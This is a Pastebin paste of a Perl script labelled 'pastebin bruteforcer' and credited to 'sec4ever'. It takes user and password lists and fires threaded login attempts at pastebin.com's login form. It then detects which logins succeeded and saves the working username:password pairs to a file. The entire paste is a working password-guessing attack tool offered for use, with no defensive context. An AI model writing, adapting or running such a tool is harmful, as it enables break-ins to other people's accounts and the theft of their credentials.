Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- # (c) sec4ever
- use WWW::Mechanize;
- use threads;
- $| = 1;
- $i = 0;
- print "[+] pastebin bruteforcer\n";
- print "[+] (c) sec4ever\n";
- if(!defined($ARGV[0] && $ARGV[1] && $ARGV[2]))
- {
- print " + user(s list): ";
- chomp($ulist = <stdin>);
- print " + pass list: ";
- chomp($plist = <stdin>);
- print " + max thread: ";
- chomp($mthr = <stdin>);
- }
- else{
- $ulist = $ARGV[0];
- $plist = $ARGV[1];
- $mthr = $ARGV[2];
- }
- if($ulist =~ /\.txt/)
- {
- open(ul,"<".$ulist) or die $!;
- @ul = <ul>;
- }else{
- @ul = ($ulist);
- }
- open(pl,"<".$plist) or die $!;
- @pl = <pl>;
- close(ul,pl);
- open(found,">founds.txt");
- $countu = scalar(@ul);
- $countp = scalar(@pl);
- print " + threads: ".$mthr."\n";
- foreach $u(@ul)
- {
- chomp($u);
- $i++;
- $j = 0;
- b:
- print "\n + bruting $i/$countu ".$u."\n";
- foreach $p(@pl)
- {
- chomp($p);
- $j++;
- eval{
- push(@threads, threads->create (\&brute, $u,$p,$j));
- sleep(1) while(scalar threads->list(threads::running) >= $mthr);
- };
- }
- eval {
- $_->join foreach @threads;
- @threads = ();
- };
- }
- close(found);
- sub brute {
- $bf = WWW::Mechanize->new(timeout => 10);
- eval{
- $bf->get("http://pastebin.com/login.php");
- $bf->submit_form(
- form_id => "myform",
- fields =>
- {
- "user_name" => $_[0],
- "user_password" => $_[1],
- "submit" => "Login"
- });
- };
- if($bf->content() !~ /<title>Pastebin\.com - Login Page<\/title>/g && $bf->content() =~ /\"><a href=\"\/edit\.php\?i=/g)
- {
- print "\t\t#> $_[2]/$countp $u:$p Sucess\n";
- print found "$u:$p Sucess\n"
- }else{
- print "\t- $_[2]/$countp $u:$p Faild\n";
- #print $bf->content();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement